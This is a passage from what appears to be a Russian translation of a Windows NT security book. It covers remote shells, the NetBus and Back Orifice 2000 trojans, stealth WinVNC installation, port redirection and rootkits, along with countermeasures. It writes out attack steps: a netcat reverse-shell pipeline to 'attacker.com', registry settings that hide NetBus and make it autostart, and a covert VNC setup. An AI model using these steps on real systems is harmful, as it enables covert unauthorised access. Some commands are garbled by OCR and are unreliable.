            Теперь любой злоумышленник, подключившийся к порту 8080, сможет на удаленном компьютере запустить интерпретатор командной строки. В следующем примере показано, как, подключившись к вышеуказанному порту рассматриваемого узла (192.168.202.44), получить удаленный доступ к интерпретатору командной строки. Для того чтобы устранить путаницу, мы снова используем в локальной системе приглашение D: \>, а в удаленной — С: \TEMP\NC11NТ>.

            D:\> nc 192.168.202.44 8080
            Microsoft(R) Windows NT(TM)
            (С) Copyright 1985-1996 Microsoft Corp.
            С:\TEMP\NC11NT>
            С:\TEMP\NC1lNT>ipconfig
            ipconfig
            Windows NT IP Configuration Ethernet adapter FEM5561:
            IP Address. ........: 192.168.202.44
            Subnet Mask ........: 255.255.255.0
            Default Gateway ......: C:\TEMP\NCllNT>exit
            D:\>

            Таким образом, теперь удаленный пользователь может выполнять команды и запускать программы. Теперь судьба удаленного компьютера целиком и полностью зависит лишь от фантазии взломщика.

            NetBus

             

            Невозможно, рассказывая о безопасности NT, умолчать о NetBus — "старшей сестре" широко известной утилиты Back Orifice (ВО) для Win 9x, разработанной группой хакеров "Культ мертвой коровы" (cDc — Cult of the Dead Cow). Она предназначена для удаленного управления и хакинга. Главное различие между NetBus и ВО состоит в том, что первая работает как на платформе Windows NT, так и в Win 9x (правда, последние версии ВО также работают в NT — подробнее см. в следующем разделе "Back Orifice 2000"). Первая версия утилиты, разработанной Карлом-Фриде-риком Нейктером (Carl-Fredrik Neikter), распространялась бесплатно, но в начале 1999 года появившаяся версия 2.0 вышла уже в варианте NetBus Pro, который распространяется узлом http://www.netbus.org по цене $15. В новой версии были устранены многие проблемы NetBus, такие как необходимость физического доступа для ее использования в режиме скрытой работы, а также несовместимость с некоторыми средствами доставки "троянских коней". Однако "взломанные" версии утилиты, имеющиеся на хакерских узлах в Internet, не поддерживают данных возможностей. Таким образом, в Internet можно найти лишь недостаточно надежные версии NetBus (последняя версия, выпущенная перед выходом NetBus Pro, имела номер 1.7). Учитывая, сколько новых возможностей реализовано в профессиональной версии, мы не будем тратить время на описание методов использования предыдущих версий.
            NetBus — это приложение, созданное на базе архитектуры клиент/сервер. Сервер называется NBSVR.EXE, однако его, конечно же, можно переименовать, присвоив ему другое имя. Для того чтобы клиент мог установить соединение с удаленной системой, на ней сначала должен быть запущен сервер. Хотя ничто не препятствует установке NetBus без привилегий администратора путем использования вложения почтового сообщения или какой-нибудь другой уловки, вероятность успеха такого метода будет низкой, если системный администратор предпринял соответствующие меры защиты (иными словами — никогда не запускайте файлов, присланных по электронной почте или каким-либо другим способом неизвестными вам лицами). Поэтому мы будем рассматривать утилиту NetBus в контексте ситуации, когда она скрытно установлена взломщиком, обладающим привилегиями администратора.
            Первое, что должен сделать злоумышленник, — скопировать NBSRV.EXE в каталог %systemroot%\system32. Кроме того, необходимо настроить NetBus для запуска в скрытом режиме. Обычно этот режим активизируется с помощью графического пользовательского интерфейса, однако поскольку при удаленном доступе графический интерфейс использовать невозможно, для внесения соответствующих изменений в системный реестр придется воспользоваться средством редактирования системного реестра regini . exe, входящим в состав NTRK.
            Для внесения изменений в системный реестр утилита regini в качестве входных данных должна получить соответствующий текстовый файл. Поэтому сначала нужно создать такой файл (в данном примере мы назовем его NETBUS.TXT) и поместить в него параметры, которые необходимо внести в системный реестр. Самый простой метод создания такого файла заключается в получении его с помощью локальной установки NetBus Pro 2.01 и утилиты regdmp из набора NTRK. В приведенном ниже примере листинг, сгенерированный утилитой regini в процессе внесения изменений в системный реестр удаленной системы, отображает перечень параметров, которые должны присутствовать в файле NETBUS.TXT.

            D:\temp>regini -m \\192.168.202.44 netbus.txt
            HKEY_LOCAL_MACHINE\SOFTWARE\Net SolutionsXNetBus Server
            General
            Accept = 1
            TCPPort = 80
            Visibility = 3
            AccessMode = 2
            AutoStart = 1
            Protection
            Password = impossible

            Данные параметры управляют основными функциями утилиты NetBus. Самыми важными из них являются следующие: General\TCPPort, который настраивает сервер NBSVR на прослушивание порта 80 (это лишь рекомендация, так как порт HTTP, скорее всего, не будет отфильтровываться маршрутизатором); visibility =3, значение, задающее режим скрытой работы; AutoStart = 1, включающее режим автоматического запуска серверной части NBSVR при загрузке Windows (при этом автоматически создается дополнительный параметр реестра в группе HKLM\SOFTWARE\ Microsoft\Windows\CurrentVersion\RunServices, содержащий значение с типом REG_SZ вида С:\WINNT\SYSTEM32\NBSvr.EXE).
            После того как системный реестр отредактирован, можно запустить NBSRV.EXE из командной строки удаленной системы, а затем запустить клиентскую часть на локальной системе и подключиться к находящемуся в состоянии ожидания серверу. На следующем рисунке показан графический пользовательский интерфейс NetBus, в меню которого выбрана команда Reboot, с помощью которой на удаленной системе можно, выполнить один их самых "жестоких" трюков — перезагрузку.

            Большинство остальных команд включено в программу, скорее для "невинных шалостей", а не для извлечения какой-то пользы (открытие и закрытие дисковода компакт-дисков, блокировка клавиатуры и т.д.). Одним из немногих действительно полезных средств является регистратор нажатия клавиш, диалоговое окно которого показано ниже. Кроме того, с помощью такой полезной функции, как перенаправление портов, можно использовать взломанный компьютер как плацдарм для проникновения на другие узлы сети.

             

            Контрмеры против использования NetBus

             

            Показанные выше изменения в системном реестре очень просто обнаружить и удалить, однако более старые версии NetBus размещали файл изменений реестра и файл сервера в разных местах и под разными именами (ранее выполняемый файл серверной части NetBus по умолчанию назывался patch.exe и часто переименовывался в [space] .exe). Кроме того, различные версии NetBus прослушивают разные порты (чаше всего по умолчанию используются порты 12345 и 20034). Наконец, все установленные по умолчанию конфигурационные параметры легко модифицировать в соответствии с желаниями взломщика. Поэтому самый лучший совет, который мы можем дать, состоит в том, чтобы найти хорошую утилиту, позволяющую удалить NetBus. Современные антивирусные пакеты легко справляются с этой задачей, поэтому нужно их регулярно использовать. Однако сначала убедитесь, что антивирусный пакет в процессе проверки не ограничивается поиском имен стандартных файлов NetBus и параметров системного реестра. Кроме того, мы считаем, что нужно также регулярно проверять параметры, управляющие запуском программ при загрузке Windows (см. раздел "Параметры Реестра, Обеспечивающие Выполнение Программ" выше в данной главе), поскольку избавиться от вредоносной программы, которая всякий раз запускается вместе с Windows, невозможно.
            Без сомнения, утилита NetBus заслуживает гораздо большего внимания, чем мы уделили ей, однако необходимо отметить, что в настоящее время есть более удобные средства удаленного управления, которые не только имеют графический интерфейс, но и распространяются в Internet бесплатно (см. ниже раздел "Удаленная Атака На GUI Системы NT С Помощью Winvnc"). Однако зачастую утилита NetBus устанавливается в процессе установки других средств, что обеспечивает взломщику пространство для маневра. Так что будьте очень внимательны.

            Back Orifice 2000

             

            Хотя первая версия Back Orifice не работала в системе NT, всего за год ее программисты из группы хакеров "Культ мертвой коровы" (Cult of the Dead Cow) справились с задачей переноса своего детища на эту платформу. Версия Back Orifice 2000 (ВО2К) появилась 10 июля 1999 года, чем изрядно подпортила настроение администраторам NT, которые посмеивались над ВО9х По предоставляемым функциям ВО2К практически не отличается от ВО9х в том, что касается удаленного управления. Мы уже подробно рассматривали соответствующие функции в главе 4, поэтому не будем повторять их здесь еще раз, а сосредоточимся лишь на том, как распознать и удалить ВО2К, установленную в вашей сети.

            Контрмеры: защита от Back Orifice 2000

             

            Как и в случае с NetBus, большинство ведущих разработчиков антивирусного программного обеспечения обновили свои программные продукты, так что теперь с их помощью можно распознать и удалить ВО2К. Поэтому самый простой способ обезопасить себя от ВО2К — регулярно обновлять антивирусный пакет. Существуют также и специальные средства обнаружения и удаления ВО, однако к ним нужно относиться с осторожностью. Некоторые из них не удаляют ВО2К, а устанавливают, играя роль "троянских коней". Одним из продуктов, которым можно доверять, является Internet Scanner компании Internet Security Systems (ISS). С его помощью можно выявить присутствие ВО2К в сети, проверяя все находящиеся в режиме ожидания запросов порты.
            Один из лучших методов удаления ВО2К заключается в использовании самой программы. В меню утилиты Sever Command Client (bo2kgui) из набора ВО2К имеется команда Server Control^Shutdown Server, предназначенная для удаления сервера.
            К сожалению, необходимо отметить, что все описанные выше контрмеры существенно ослабляются тем обстоятельством, что разработчики программы ВО2К опубликовали ее исходный код. Это может привести к появлению модификаций Back Orifice, обнаружить которые будет не так просто. Поэтому более эффективное решение лежит не столько в технической, сколько в организационной плоскости, и состоит в обучении пользователей и объяснении им, насколько опасно запускать программы, полученные по электронной почте или загруженные из узлов Internet.

            Удаленная атака на GUI системы NT с помощью WinVNC

             

            Удаленное управление с помощью утилит командной строки — это хорошо, но все же NT является операционной системой с мощным графическим интерфейсом. Программа NetBus предоставляет возможность удаленного управления с помощью графического интерфейса, но версия, имеющаяся в нашем распоряжении во время написания книги, работает слишком медленно и к тому же нестабильно. Тем не менее, существует прекрасное средство, свободное от всех этих недостатков, — пакет Virtual Networking Computing (VNC), созданный кембриджской лабораторией AT&T и распространяемый через https://www.comparitech.com/vpn/what-is-a-vnc-and-how-does-it-differ-from-a-vpn/ (более подробное обсуждение VNC приведено в главе 13). Одна из причин, по которой VNC выгодно отличается от прочих программ аналогичного назначения (помимо столь примечательного факта, что VNC абсолютно бесплатна!), заключается в том, что ее установка через удаленное сетевое соединение выполняется не намного сложнее, чем локальная установка. Используя удаленный сеанс командной строки, который был рассмотрен выше, достаточно лишь установить на удаленный компьютер службу VNC и обеспечить ее скрытый запуск, внеся одно-единственное изменение в системный реестр. Ниже приведено краткое описание этой процедуры, но для того, чтобы лучше разобраться в методах управления VNC из командной строки, мы все же рекомендуем изучить полную документацию по VNC, которую также можно найти по указанному выше адресу URL.
            Первый этап состоит в копировании исполняемого файла и библиотек VNC (WINVNC.EXE, VNCHooks.DLL И OMNITHREAD_RT.DLL) на удаленный компьютер, который после установки будет играть роль сервера. Для этого можно использовать любой каталог, но лучше всего "укрыть" эти файлы "глубоко в недрах" каталога %systemroot%. Необходимо также учитывать, что после запуска сервера последние версии WinVNC автоматически помещают небольшую зеленую пиктограмму на панели задач. Запуск из командной строки версий 3.3.2 и более ранних менее незаметен для пользователей (конечно, это не распространяется на список процессов, в котором без труда можно отыскать WinVNC. EXE).
            После того как файл WINVNC.EXE скопирован, необходимо настроить доступ к VNC с использованием пароля, так как при запуске службы WINVNC по умолчанию на экране появляется диалоговое окно, требующее ввода пароля, прежде чем служба разрешит входящие соединение (обеспокоенность разработчиков вопросами безопасности просто умиляет!). Кроме того, службе WINVNC необходимо находиться в режиме ожидания входящих соединений, что также настраивается посредством графического интерфейса. Для того чтобы настроить соответствующие параметры программы, нужно напрямую внести необходимые изменения в удаленный системный реестр с помощью утилиты regini. exe, как это было сделано при удаленной установке NetBus.
            Сначала нужно создать файл WINVNC. INI и внести в него подлежащие изменению параметры системного реестра и их значения. Приведенные в следующем примере значения были получены из реестра локального компьютера после установки на нем WinVNC с использованием утилиты regdmp из набора NTRK (бинарное представление пароля соответствует строке secret).
            Вот содержимое файла WINVNC. INI.

            HKEY_USERSX.DEFAULTXSoftware\ORL\WinVNC3
            SocketConnect = REG_DWORD 0x00000001
            Password = REG_BINARY 0x00000008
            Ox57bf2d2e Ох8е6сbО6е

            Затем с помощью утилиты regini эти параметры необходимо поместить в системный реестр удаленного компьютера.

            С:\> regini -m \\192.168.202.33 winvnc.ini
            HKEY_USERS\.DEFAULTXSoftware\ORL\WinVNC3
            SocketConnect = REG_DWORD 0x00000001
            Password = REG_BINARY 0x00000008 Ox57bf2d2e ОхЭе6сbО6е

            Наконец установите программу WinVNC в качестве службы и запустите ее. В следующем примере показано, как это сделать с помощью удаленного сеанса командной строки. С:\> winvnc -install

            С:\> net start winvnc
            The VNC Server service is starting.
            The VNC Server service was started successfully.

            Теперь можно запустить приложение vncviewer и подключиться к удаленному компьютеру. Ниже показаны два диалоговых окна, в первом из которых приложение vnc viewer уведомляет пользователя о том, что установлен сеанс связи с "дисплеем О", имеющим IP-адрес 192.168.202.33. (Синтаксис узел-дисплей эквивалентен принятому в системе оконного интерфейса X Window системы UNIX. Все системы, работающие под управлением Windows, по умолчанию обозначаются как дисплей 0.) Второе диалоговое окно предназначено для ввода пароля (вы еще не забыли, какое слово мы выбрали в качестве пароля?).

            Вуаля! Перед вами во всей своей красе появляется изображение рабочего стола удаленного компьютера, как показано на рис. 5.9. При этом указатель мыши ведет себя так, словно вы держите в руках не свою мышь, а мышь удаленного компьютера.
            Очевидно, что возможности VNC изумительны: вы можете даже воспользоваться комбинацией клавиш <Ctrl+Alt+Del> для перезагрузки удаленной системы.

            Остановка и удаление WinVNC

             

            Самый простой способ остановки службы WinVNC и ее удаления состоит в использовании двух следующих команд.

            net stop winvnc
            winvnc -remove

            Для удаления оставшихся в реестре параметров воспользуйтесь утилитой из набора NTRK REG.EXE, как показано в следующем примере.

            C:\>reg delete \\192.168.202.33
            HKEY_LOCAL_MACHINE\System\
            CurrentControlSet\Services\WinVNC

             

             

            19.gif

            Изображение: 

            20.gif

            Изображение: 

            21.gif

            Изображение: 

            11. Перенаправление портов



            Перенаправление портов


            Выше было рассмотрено несколько программ, которые можно использовать для удаленного управления из командной строки. Все эти средства обсуждались в контексте установки непосредственного удаленного соединения. Однако, что делать в той ситуации, когда брандмауэр блокирует прямой доступ к целевому компьютеру? Подобную преграду взломщики могут обойти с помощью перенаправления портов (port redirection). Этот вопрос подробно будет изложен в главе 14, однако сейчас мы познакомимся с некоторыми средствами и приемами, которые могут оказаться полезными для хакинга компьютеров под управлением системы NT.
            Как только взломщики успешно справились с "главным стражем" безопасности — брандмауэром, — для передачи всех пакетов "желанной цели" они могут воспользоваться механизмом перенаправления портов. Важно оценить всю опасность подобной деятельности, поскольку в данном случае взломщики могут получить доступ к любому компьютеру, расположенному позади брандмауэра. В процессе перенаправления осуществляется прослушивание определенных портов и передача пакетов к заданной вторичной цели. Ниже будут рассмотрены некоторые приемы перенаправления портов, которые можно вручную осуществить с помощью утилит netcat, rinetd и fpipe.
            Схема процесса перенаправления портов представлена на рис. 14.4 в главе 14.

            Захват командной оболочки м помощью netcat



            Если имеется возможность поместить утилиту netcat на целевой компьютер, расположенный позади брандмауэра, то через любой требуемый порт можно получить "в свое распоряжение" удаленную командную оболочку. Такую ситуацию мы называем "захватом оболочки", поскольку в этом случае на рабочем компьютере взломщика сосредоточиваются все функции оболочки удаленной системы. Вот пример команды, запущенной взломщиком из удаленной командной строки. nс attacker.com 80 | cmd.exe | nс attacker.com 25
            Если хакер на своем компьютере attacker.com с помощью утилиты netcat осуществляет прослушивание TCP-портов 80 и 25, и при этом порт 80 разрешает передачу входящих, а порт 25 — исходящих пакетов на/с компьютера-жертвы через брандмауэр, то эта команда позволяет "захватить" командную оболочку удаленной системы. На рис. 5.9 показан пример экрана хакерской системы: в верхнем окне содержатся входные команды, передаваемые через порт 80 (ipconfig), а в нижнем окне представлены результаты, полученные с узла-жертвы через порт 25.



            Рис. 5.9. Используя утилиту netcat на компьютере взломщика и на целевом узле, можно захватить командную оболочку. Команды, введенные в верхнем окне на рисунке, выполняются на удаленной системе, а результаты отображаются в нижнем окне

            Утилита rinetd



            Реализация перенаправления портов с помощью трех настроенных вручную сеансов netcat может оказаться далеко не наилучшим способом. Для этого можно воспользоваться различными утилитами, специально предназначенными для перенаправления портов. Эти средства можно найти в Internet. Одной из наиболее мощных утилит является rinetd — сервер перенаправления Internet Томаса Боутела (Thomas Boutell), который можно найти по адресу http://www.boutell.com/rinetd/index.html. С ее помощью можно перенаправить TCP-соединения с одного IP-адреса и порта на другой. Утилита rinetd функционирует подобно datapipe (см. главу 14). Существует также версия, поддерживающая интерфейс Win32 (включая 2000), а также Linux. Утилиту rinetd очень легко использовать: достаточно просто создать конфигурационный файл, содержащий правила передачи пакетов, в следующем формате.
            адрес_привязки порт_привязки адрес_соединения порт_соединения
            Затем нужно запустить команду rinetd -с <имя_файла_настройки>. Как и утилита netcat, rinetd функционирует через неправильно настроенный брандмауэр.

            Утилита fpipe



            Утилита fpipe — средство передачи/перенаправления исходных пакетов TCP через заданный порт. Она разработана в компании Foundstone, Inc., к которой авторы этой книги имеют непосредственное отношение. Утилита fpipe позволяет создать поток TCP и дополнительно задать требуемый исходный порт. Ее удобно применять для тестового проникновения через брандмауэры, разрешающие прохождение определенных типов пакетов во внутреннюю сеть.
            Работа утилиты fpipe основана на перенаправлении портов. Запустите ее, задав прослушиваемый порт сервера, порт назначения удаленного узла (порт, которого требуется достичь с внутренней стороны брандмауэра) и (дополнительно) номер требуемого локального исходного порта. После запуска утилита fpipe будет ожидать, пока клиент соединится с прослушиваемым портом. После этого будут установлено новое соединение с целевым компьютером и портом, заданным в качестве локального исходного порта. Таким образом будет активизирован замкнутый контур. После установки полного соединения утилита fpipe будет передавать все данные, полученные через входящее соединение, на удаленный порт назначения, расположенный позади брандмауэра, и возвращать их обратно системе-инициатору. Это аналогично установке нескольких сеансов netcat, однако утилита fpipe позволяет выполнить ту же задачу абсолютно прозрачно.
            Рассмотрим использование утилиты fpipe для перенаправления данных из взломанной системы с запущенным сервером telnet, расположенной позади брандмауэра, на котором заблокирован порт 23 (telnet), однако открыт порт 53 (DNS), Как правило, подключиться к TCP-порту, используемому сервером telnet, напрямую нельзя. Однако при использовании утилиты fpipe и переправлении данных в порт TCP 53 эту задачу все же можно выполнить. На рис. 5.10 показано перенаправление данных с использованием утилиты fpipe, запущенной на целевом узле.
            Простое соединение с портом 53 на этом узле позволяет "захватить" взломщику поток telnet.



            Рис. 5.10. Утилита перенаправления fpipe, запущенная на удаленном узле

            Самой примечательной особенностью утилиты fpipe является возможность задать исходный порт. В процессе тестового проникновения это зачастую необходимо для обхода брандмауэра или маршрутизатора, передающего лишь данные, предназначенные определенным портам (например, порту TCP 25, используемому почтовым сервером). Обычно клиентским соединениям TCP/IP назначаются исходные порты с большими номерами, которые брандмауэр, как правило, пропускает через фильтр. Однако тот же брандмауэр должен пропускать данные DNS (фактически, он это и делает). С помощью утилиты fpipe для потока данных можно принудительно задать определенный исходный порт, в данном случае порт DNS. С этого момента этот поток будет рассматриваться брандмауэром как данные "разрешенной" службы и, таким образом, будет пропускаться во внутреннюю сеть.

            Пользователи должны знать, что если при задании порта-источника исходящего соединения был использован параметр -в и это соединение было закрыто, может оказаться невозможным установить его повторно (утилита fpipe сообщит, что адрес уже используется) до того момента, пока не истекут интервалы ожидания TIMEJHAIT и CLOSEJHAIT, определяемые протоколом TCP. Эти интервалы ожидания могут варьироваться в диапазоне от 30 секунд до четырех минут и более, в зависимости от используемой операционной системы и ее версии. Эти интервалы ожидания определяются протоколом TCP и не являются ограничением самой утилиты fpipe. Причина возникновения такой ситуации заключается в том, что утилита fpipe пытается установить новое соединение с удаленным узлом с применением тех же комбинаций локальных/удаленных адреса/порта IP, что и в предыдущем сеансе. Новое же соединение не может быть установлено до тех пор, пока стеком протоколов TCP не будет решено, что предыдущее соединение не было полностью завершено.


            23.gif

            Изображение: 

            24.gif

            Изображение: 

            12. Основные контрмеры против атак, направленных на расширение привилегий



            Основные контрмеры против атак, направленных на расширение привилегий


            Как же избавиться от всех программ, установленных в ходе изучения вами данной главы, и "залатать" все оставшиеся "дыры" в защите? Поскольку многие из них были созданы с доступом на уровне администратора, что позволяет использовать все аспекты архитектуры NT, а большинство нужных нам файлов могли быть переименованы и (или) настроены десятками различных способов, эта задача довольно нетривиальна. Мы предлагаем следующие решения общего характера, затрагивающие четыре основные области, к которым так или иначе относятся описываемые в данной главе вопросы: имена файлов, параметры системного реестра, процессы и порты.

            Для ознакомления с некоторыми дополнительными контрмерами против описанных атак мы настоятельно рекомендуем прочитать о "потайных ходах" в главе 14.

            Если взломщику удалось получить привилегии администратора, то лучшим выходом из ситуации является полная переустановка системного программного обеспечения с использованием проверенных носителей. Искушенный взломщик может настолько хорошо скрыть определенные "потайные ходы", что их не удастся обнаружить даже опытным исследователям. Этот совет дан в основном для создания полноты картины. Его не рекомендуется применять при организации подобных атак.

            Имена файлов



            Контрмеры, построенные на использовании имен файлов, по всей видимости, наименее эффективны, поскольку любой мало-мальски соображающий взломщик либо переименует файлы, либо предпримет другие меры, чтобы скрыть их (см. ниже раздел "Сокрытие следов"). Тем не менее, обезопасив себя в этом отношении, вы сможете еще на "дальних подступах" обнаружить хотя бы наименее изобретательных взломщиков.
            Мы уже перечисляли имена файлов, на которые необходимо обратить внимание в первую очередь: remote.exe, пс.exe (netcat), rinetd.exe, NBSvr.exe и patch.exe (серверы NetBus), WinVNC.exe, VNCHooks.dll и omnithread_rt.dll. Если вы обнаружите, что данные файлы появились на сервере без вашего ведома, тут же начните расследование — по "горячим следам" легче установить, кто и зачем это сделал.
            Кроме того, будьте очень внимательны к любым файлам, которые находятся в разных каталогах вида Start Menu\PROGRAMS\STARTUP\%username% (расположенных в каталоге %SYSTEMROOT%\PROFILES). Все программы, помещенные в такие папки, будут автоматически запускаться в процессе загрузки (позднее мы еще вернемся к этому вопросу).
            Хорошей превентивной мерой, позволяющей идентифицировать изменения файловой системы, является использование средств подсчета контрольных сумм, подобных тем, которым посвящен раздел "Набор Rootkit — Полный Взлом Системы" ниже в этой главе.

            Параметры системного реестра



            В отличие от утомительного поиска файлов с определенными именами в надежде, что они не были изменены, поиск параметров системного реестра может оказаться особенно эффективным, поскольку большинство из рассмотренных программ помешает строго определенные параметры в строго определенные места системного реестра. Хорошим местом для начала поиска являются группы параметров HKLM\SOFTWARE и HKEY_USERS\ .DEFAULT\Software, в которых большинство устанавливаемых приложений помещают свои параметры. В частности, утилиты NetBus Pro и WinVNC сохраняют свои параметры следующим образом.

            •  HKEY_USERS\.DEFAULTASoftware\ORL\WinVNC3
            •  HKEY_LOCAL_MACHINE\SOFTWARE\NetSolutions\NetBus Server

            С помощью утилиты командной строки REG.EXE, входящей в состав NTRK, удалить данные параметры из реестра довольно просто, в том числе и на удаленных компьютерах. При этом используется следующий синтаксис.
            reg delete [параметр] \\компьютер
            Например: С:\>reg delete HKEY_USERS\.DEFAULT\Sofware\ORL\WinVNC3 \\192.168.202.33

            Параметры системного реестра, управляющие запуском программ в процессе загрузки



            Основываясь на своем опыте, можем отметить, что практически все взломщики помещают параметры своих программ в стандартную группу параметров системного реестра, управляющих запуском приложений при загрузке Windows. Поэтому на предмет наличия вредоносных или подозрительных параметров нужно регулярно проверять соответствующие области системного реестра, перечисленные ниже.

            •  HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run, а также RunOnce, RunOnceEx, RunServices.

            Кроме того, необходимо как можно жестче ограничить доступ пользователей к этим группам параметров. По умолчанию группа EVERYONE имеет разрешения Set value к группе параметров HKLM\ . . \. . \Run. Для того чтобы отменить эти привилегии, воспользуйтесь командой Security>Permissions в редакторе системного реестра regedt32.
            Рассмотрим небольшой пример. На приведенном ниже рисунке показано окно редактора системного реестра, в котором отображается информация о программе netcat, запускающейся при каждой загрузке Windows (группа параметров HKLM\ . . \ . . \Run) для прослушивания порта 8080.


            В данном случае взломщик в любой момент может скрытно подключиться к системе, по крайней мере до тех пор, пока администратор, взявшись за ум, не проверит системный реестр и не удалит из него соответствующий параметр.
            Кроме того, не забудьте проверить также каталоги %systemroot%\profiles\ %sername%\Start Menu\programs\startupV Любые помещенные в них исполняемые файлы будут автоматически запускаться при каждой загрузке!

            Процессы



            Для обнаружения тех хакерских инструментов, которые нельзя переименовать или скрыть каким-либо другим способом, можно проанализировать список выполняющихся на компьютере процессов. Например, с помощью команды AT можно запланировать задание, которое просматривает список процессов и удаляет из него такие обнаруженные процессы, как remote.exe или пс.ехе. Поскольку для использования сервера remote в системном администрировании нет особых причин (особенно, если учесть, что эта утилита не выполняет аутентификации), то для периодического удаления ее из списка процессов можно использовать команду kill.exe из набора NTRK. В следующем примере показано, как с помощью команды AT запланировать задание, которое будет выполняться каждый день в шесть часов утра и удалять процесс remote. Это немного грубо, но зато эффективно — вам остается лишь настроить время запуска в соответствии со своими предпочтениями.

            C:\>at 6А /е:1
            ""kill remote.exe""

            Added a new job with job ID = 12
            C:\>at Status ID Day Time Command Line
            12 Each 1 6:00 AM kill remote.exe
            C:\>kill remote.exe
            process #236 [remote.exe] killed

            Для этих же целей можно использовать утилиту rkill.exe из набора NTRK. Она отличается от kill. exe тем, что может выполняться на удаленном компьютере, а также тем, что в отличие от утилиты kill.exe, нуждается в предоставлении ей в качестве параметра идентификатора удаляемого процесса (PID — Process ID). PID процесса удаленного компьютера можно получить с помощью утилиты pulist.exe, которая также входит в состав NTRK. Можно создать целую автоматизированную систему, в которой регулярно запускается утилита pulist и собирает информацию о выполняющихся на узлах сети запрещенных процессах с последующей передачей этой информации rkill. Конечно, еще раз нужно оговориться, что такую систему очень легко обойти, присвоив выполняемому файлу remote.exe какое-нибудь другое, не вызывающее подозрений имя, например WINLOG.EXE. Однако она сможет эффективно противостоять процессам, которые нельзя переименовывать, например winVNC. EXE.

            Порты



            Даже если такие утилиты, как remote или пс, были переименованы, утилита netstat поможет выявить их присутствие по наличию портов, находящихся в состоянии ожидания или соединения. Периодический запуск netstat с целью проверки подобных соединений — это иногда наилучший способ найти их. В следующем примере показано, как утилита netstat, запущенная на целевом сервере в то время, когда взломщик подключился к нему с помощью утилит remote, nc и установил соединение с портом 8080, отображает результаты опроса портов (описание параметра -an можно узнать, введя в командной строке команду netstat /?). Обратите внимание, что в соединении remote используется порт TCP 139, а утилита netcat находится в состоянии ожидания и имеет одно установленное соединение с портом TCP 8080 (остальные данные, отображаемые netstat, удалены для наглядности).

            С:\> netstat -an
            Active Connections
            Proto Local Address Foreign Address State
            TCP 192.168.202.44:139 0.0.0.0:0 LISTENING
            TCP 192.168.202.44:139 192.168.202.37:1817 ESTABLISHED
            TCP 192.168.202.44:8080 0.0.0.0:0 LISTENING
            TCP 192.168.202.44:8080 192.168.202.37:1784 ESTABLISHED

            Из приведенного фрагмента листинга команды netstat видно, что наилучшей защитой против использования утилиты remote является блокирование доступа к портам 135-139 потенциальных целей или на уровне брандмауэра либо отключение привязки NetBIOS для незащищенных адаптеров, как описывалось в разделе "Контрмеры: Защита От Подбора Пароля" выше в данной главе.
            С помощью конвейера, организованного между командами netstat и find, можно получить данные об определенных портах. Так, с помощью следующей команды выполняется поиск серверов NetBus, прослушивающих порт по умолчанию, netstat -an| find "12345"
            Утилита fport от компании Foundstone (http://www.foundstone.com) позволяет получить комбинированную информацию о процессах и портах. Она предоставляет перечень всех активных сокетов и идентификаторов процессов, использующих соединение. Вот пример ее результатов.

            FPORT - Process port mapper
            Copyright (с) 2000, Foundstone, Inc.
            http://www.foundstone.com
            PID NAME TYPE PORT
            184 IEXPLORE UDP 1118
            249 OUTLOOK UDP 0
            265 MAPISP32 UDP 1104
            265 MAPISP32 UDP 0


            25.gif

            Изображение: 

            13. Набор Rootkit — полный взлом системы



            Набор Rootkit — полный взлом системы


            А что, если даже сам код операционной системы окажется под контролем взломщика? Эта идея достаточно хорошо опробована для платформы UNIX. Закономерно, что для замены стандартных исполняемых файлов "троянскими конями" обычно требуется получить учетную запись root системы UNIX на целевом компьютере. Наборы программ, выполняющих эту операцию, получили название "отмычек". "Отмычки", применяемые в UNIX, подробно рассматриваются в главе 8, а обсуждение "отмычек" вообще можно найти в главе 14.

            Отмычки" NT/2000



            Нет ничего удивительного в том, что в 1999 году благодаря группе Грега Хогланда (Greg Hogland, http://www.rootkit.com) система Windows NT/2000 "приобрела" свой собственный набор "отмычек". Грег застал врасплох сообщество Windows, продемонстрировав рабочий прототип таких инструментов, который способен выполнять сокрытие параметров системного реестра и "подмену" исполняемых файлов. Этот набор можно использовать в исполняемых файлах "троянских коней" без изменения их содержимого. Все эти трюки основываются на использовании перехвата функций (function hooking). Таким образом можно "модифицировать" ядро NT, в результате чего будут захвачены системные вызовы. С помощью набора "отмычек" можно скрыть процесс, параметр системного реестра или файл, а также перенаправить перехваченный вызов функциям "троянских коней". Полученный результат способен превзойти ожидания от внедрения "троянских коней": пользователь не может быть уверен даже в целостности исполняемого кода.
            В момент написания этой книги набор "отмычек" систем NT/2000 по-прежнему оставался на стадии альфа-версии и в основном предназначался для демонстрации наиболее важных особенностей, а не для реального применения. Распространяемый комплект состоит из двух файлов: _root_.sys и deploy.exe. При запуске файла deploy.exe набор "отмычек" будет установлен и запущен.
            После установки активизируется режим сокрытия параметров системного реестра. Любой параметр или значение, начинающиеся с шести символов _root_, будут скрыты для просмотра с помощью любого из редакторов regedit.exe или regedt32.exe. Любой исполняемый файл, имя которого будет начинаться с _root_, не будет виден. С помощью копии редактора системного реестра regedit.exe, переименованной в файл _root_regedit.exe, можно просмотреть все скрытые параметры. Тем самым взломщику предоставляется прекрасный "потайной ход", с использованием которого можно приступить к ручной работе без отключения режима маскирования "набора отмычек".
            В альфа-версии средство перенаправления исполняемых файлов позволяет выявлять выполнение файлов с именами, начинающимися с _root_, и перенаправлять их результаты файлу С: \calc.exe (жестко заданный режим, не позволяющий взломщику немедленно получить долгожданную информацию, однако наглядно демонстрирующий его потенциальную злонамеренность).
            Грег также распространяет консоль удаленного управления RogueX из набора "отмычек" с изящным интерфейсом. Она находится на стадии разработки и имеет ограниченные функциональные возможности (в частности, позволяет инициировать сканирование портов удаленного узла, на котором установлен набор "отмычек").

            Контрмеры: защита от набора "отмычек"



            Если вы не можете доверять даже команде dir, значит, пришло время признать себя побежденным: создайте резервную копию важных данных (кроме двоичных файлов!), удалите все программное обеспечение и переустановите его с проверенных носителей. На полагайтесь на резервные копии, поскольку неизвестно, в какой момент взломщик получил контроль над системой, — вы можете восстановить тех же самых "троянских коней".
